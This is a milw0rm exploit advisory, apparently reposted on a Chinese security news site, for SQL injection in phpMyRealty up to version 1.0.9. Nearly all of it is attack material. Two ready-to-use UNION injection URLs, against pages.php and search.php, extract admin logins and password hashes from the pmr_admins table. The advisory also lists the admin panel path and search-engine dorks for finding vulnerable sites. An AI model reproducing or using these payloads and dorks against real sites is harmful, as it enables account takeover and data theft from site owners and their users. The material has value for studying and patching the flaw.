 |
| phpMyRealty <= 1.0.9 Multiple Remote SQL Injection Vulnerabilities |
|
| 作者：milw0rm 文章来源：milw0rm 点击数：
更新时间：2008-8-29 |
|
phpMyRealty <= 1.0.9 (pages.php id) Remote SQL Injection Vulnerability
Author: ~!Dok_tOR!~
Date found: 27.08.08
Product: phpMyRealty
Version: 1.0.7, 1.0.9
Download script: http://rapidshare.com/files/123835319/phpMyRealty.v1.0.7.PHP-rs.rar
Vulnerability Class: SQL Injection
Exploit 1:
http://localhost/[installdir]/pages.php?id=-999999+union+select+concat_ws(0x3a,login,password),2,3+from+pmr_admins/*
Exploit 2:
http://localhost/[installdir]/search.php?price_min=50000&price_max=-999999+union+select+1,2,3,4,5,6,7,8,concat_ws(0x3a,login,password),10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37, 38,39,40,41,42,43,44+from+pmr_admins/*
Admin panel:
http://localhost/[installdir]/admin/
Dork:
Powered by phpMyRealty 1.0.7
Powered by phpMyRealty.com
# milw0rm.com |
责任编辑：朱倩 联系方式 Email：朱倩 |
 |
电话：51228163 |
|
上一篇漏洞： 远程SQL注入漏洞
下一篇漏洞： 没有了 |
|
|
 |
|
